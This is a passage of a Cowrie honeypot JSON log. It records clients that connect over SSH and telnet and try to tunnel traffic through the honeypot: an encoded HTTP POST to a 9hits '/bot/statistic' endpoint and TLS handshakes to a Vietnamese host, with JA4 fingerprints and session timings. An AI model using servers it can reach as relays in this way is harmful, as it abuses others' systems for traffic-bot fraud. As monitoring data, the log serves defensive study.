\\x11\\x00\\x03|\\xe3\\xf9y\\xf5\\t\\xbb\\xf55;5\\xf8\\xad$\\x04i\\xe0\\xfe\\xe9\\xc6\\xf43vh\\xc3#\\x0bQ\\xa1\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 #\\x15`B\\xe6(28\\xd1\\x01\\xa6G9)\\x13\\xdboD\\x1f\\xd5\\x9c\\xf1|\\xe8\\x9e:\\x9d\\xd4B\\xdaG\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:43.019560Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.27285170555115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:45.950248Z","src_ip":"107.6.151.170","session":"1a30438b6e8c","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:46.426239Z","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:46.469789Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VjwqYnFjTjcobEcqVihMeA%3D%3D8MVBlsLH1NvtubMtCCMYdQ%2FiLnnQO9wPA36UasXBnVfWgh5TnRSFNtY7hPyokAuqxK%2Bc8mJrD2lfZe7J3Ca%2F8176Qlpzxb007bDTu31KWgkJ54yvbCIbug%2B5fUsdzLHaipmUc7FY7NuUtT3Ue3n0qI%2BCUDeOLUzK%2B%2BWTtMiEg1o8bAdTVZdha6AZGYfYD0pcVTQci411lJaElHKnDH%2Fl3SRUQe5Z3ihMxJLt1E7KCbswBTkoKOvgQmc07DT5GgswdxAETDAypxwsjq6rTb2D7HYvhmegovR5MzTvhj6nKJx%2F20RiaMmQpRGqHDcDE9KMbFfX%2F2%2BPrDFjVsfa%2Fcg%2FJRUtmJPtabn9RZKDk4yrEUpYb%2BSJZiOo6%2FvUsK087xLKEw5XRtmFTW7n0qOlJ18JLpqBYDeVYBd5GvEUKBTWyjE9WseGRZvPwgpLmO9V8vMIYvXfo7CSYLcmOxlKzs94tCfv9Y2Uyz3LwTWggarL5MX461S8LRak7ibNtU0N9iTTqTyVhatHTrNnAoU6kKlQ%2BzE9iLJmCFMCd5mLTIhGfScKFpqrjCtFgFoZFX5Bk9xeCY%2BE1Ba0fCtVx4DP8jCU1MKMqz1Ig5YLXx1dmtZLe%2FxsEUmcoDroTvVig4WM3Zcsa7I2CkDA0lUF37cUVahKt9ZP4G%2F9Q9%2FzaoUT%2Bd5mpJIKHlTiKuvzIQXBRd2pVrFK%2F2EfqpvgqBxoVRfWPqRC1VXxejNWCFvbrn%2BmUDZLmXhABWAEFxJi0o3w9ukw22LcBVnpjYY7xcqxaSZOf%2F1CiV740rCo0qGimPrAs2v6p9XYWuWxqy5DrRQ4HaOq%2Bebl88IdHy56mlYslnYkf3THXWlm6A0On4Zbinoy6V1sMk%2B1CjthBT2qXKs7hZQ%2FH%2FgzaJhwMInBUjEElrSZUSP%2FlhrhaKAk7THndvZdGAJGcpcKOsPzgZZNuT3meUd6LBncy3x49Vwu15DdDE4rgCtLfS9toIBGIi6q3%2Bab1La%2BY6r33S1r%2FnF9uOQj9kPDK6BKnDMzCnuOQN6IPYfIj1kl1YYQ7yNqdTVXCrfZFjU7714%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VjwqYnFjTjcobEcqVihMeA%3D%3D8MVBlsLH1NvtubMtCCMYdQ%2FiLnnQO9wPA36UasXBnVfWgh5TnRSFNtY7hPyokAuqxK%2Bc8mJrD2lfZe7J3Ca%2F8176Qlpzxb007bDTu31KWgkJ54yvbCIbug%2B5fUsdzLHaipmUc7FY7NuUtT3Ue3n0qI%2BCUDeOLUzK%2B%2BWTtMiEg1o8bAdTVZdha6AZGYfYD0pcVTQci411lJaElHKnDH%2Fl3SRUQe5Z3ihMxJLt1E7KCbswBTkoKOvgQmc07DT5GgswdxAETDAypxwsjq6rTb2D7HYvhmegovR5MzTvhj6nKJx%2F20RiaMmQpRGqHDcDE9KMbFfX%2F2%2BPrDFjVsfa%2Fcg%2FJRUtmJPtabn9RZKDk4yrEUpYb%2BSJZiOo6%2FvUsK087xLKEw5XRtmFTW7n0qOlJ18JLpqBYDeVYBd5GvEUKBTWyjE9WseGRZvPwgpLmO9V8vMIYvXfo7CSYLcmOxlKzs94tCfv9Y2Uyz3LwTWggarL5MX461S8LRak7ibNtU0N9iTTqTyVhatHTrNnAoU6kKlQ%2BzE9iLJmCFMCd5mLTIhGfScKFpqrjCtFgFoZFX5Bk9xeCY%2BE1Ba0fCtVx4DP8jCU1MKMqz1Ig5YLXx1dmtZLe%2FxsEUmcoDroTvVig4WM3Zcsa7I2CkDA0lUF37cUVahKt9ZP4G%2F9Q9%2FzaoUT%2Bd5mpJIKHlTiKuvzIQXBRd2pVrFK%2F2EfqpvgqBxoVRfWPqRC1VXxejNWCFvbrn%2BmUDZLmXhABWAEFxJi0o3w9ukw22LcBVnpjYY7xcqxaSZOf%2F1CiV740rCo0qGimPrAs2v6p9XYWuWxqy5DrRQ4HaOq%2Bebl88IdHy56mlYslnYkf3THXWlm6A0On4Zbinoy6V1sMk%2B1CjthBT2qXKs7hZQ%2FH%2FgzaJhwMInBUjEElrSZUSP%2FlhrhaKAk7THndvZdGAJGcpcKOsPzgZZNuT3meUd6LBncy3x49Vwu15DdDE4rgCtLfS9toIBGIi6q3%2Bab1La%2BY6r33S1r%2FnF9uOQj9kPDK6BKnDMzCnuOQN6IPYfIj1kl1YYQ7yNqdTVXCrfZFjU7714%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:46.472679Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:46.601929Z","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:46.713334Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xf0\"\\x1f\\xe2\\x0e\\x0c\\x07\\xf3\\xb6\\xd0A\\\\\\xae\\xab\\xfa=\\xcej/\\x88\\xbddZe\\x90u`u\\x89\\xc9\\x86 \\x9d\\xa1\\xe4>\\x17\\xde\\x9d\\xe4YG\\xe4DN`3\\xd9b\\xe2\\x1bw(\\xfdP=\\x03B\\xc6c\\xb2\\xdbc\\xe6\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 {O\\x1c\\xdb\\xf0\\x92+Y(\\xe0y^*\\xf4\\xc3I>\\xd0\\xcf\\xad:Q\\xdf\\xeb\\xc6\\xdb\\x8d\\xc4\\xc4\\x0b79\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xf0\"\\x1f\\xe2\\x0e\\x0c\\x07\\xf3\\xb6\\xd0A\\\\\\xae\\xab\\xfa=\\xcej/\\x88\\xbddZe\\x90u`u\\x89\\xc9\\x86 \\x9d\\xa1\\xe4>\\x17\\xde\\x9d\\xe4YG\\xe4DN`3\\xd9b\\xe2\\x1bw(\\xfdP=\\x03B\\xc6c\\xb2\\xdbc\\xe6\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 {O\\x1c\\xdb\\xf0\\x92+Y(\\xe0y^*\\xf4\\xc3I>\\xd0\\xcf\\xad:Q\\xdf\\xeb\\xc6\\xdb\\x8d\\xc4\\xc4\\x0b79\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:46.716264Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:47.298596Z","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:47.355906Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xa4\\x96\\xffr\\xb5\\x84\\x1f\\xcd(\\x11Y:\\xaa\\xe6M\\xd6v<\\x81\\\\\\xa5\\xf8\\xec\\x94\\x1bq\\xc0\\x80\\xa8\\xef\\r 9\\x96\\x07\\xd8\\x02\\xcf\\xa7\\xc7\\xb0\\x16,\\x9e/\\xb4\\xfb\\x00_\\x16\\xaa.\\x81<\\x97Ff\\x94\\xba\\xda]\\xeb\\xfe`\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 P;u$K\\x84~s\\xa0@\\xe17\\xc9\\xba\\xc8-\\xd7+&\\xeb\\xcf\\x92\\x00\\xfc@\\x08\\x90\\x11\\xee\\xd4\\xaf\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xa4\\x96\\xffr\\xb5\\x84\\x1f\\xcd(\\x11Y:\\xaa\\xe6M\\xd6v<\\x81\\\\\\xa5\\xf8\\xec\\x94\\x1bq\\xc0\\x80\\xa8\\xef\\r 9\\x96\\x07\\xd8\\x02\\xcf\\xa7\\xc7\\xb0\\x16,\\x9e/\\xb4\\xfb\\x00_\\x16\\xaa.\\x81<\\x97Ff\\x94\\xba\\xda]\\xeb\\xfe`\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 P;u$K\\x84~s\\xa0@\\xe17\\xc9\\xba\\xc8-\\xd7+&\\xeb\\xcf\\x92\\x00\\xfc@\\x08\\x90\\x11\\xee\\xd4\\xaf\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:47.358927Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.2","message":"Connection lost after 17.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:51.283960Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.548269748687744,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:55.268955Z","src_ip":"107.6.151.170","session":"60a6af237530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":42704,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b984ea01af","protocol":"ssh","message":"New connection: 46.19.67.181:42704 (159.203.135.109:22) [session: 09b984ea01af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:04.838043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:04.843398Z","src_ip":"46.19.67.181","session":"09b984ea01af","protocol":"ssh"}
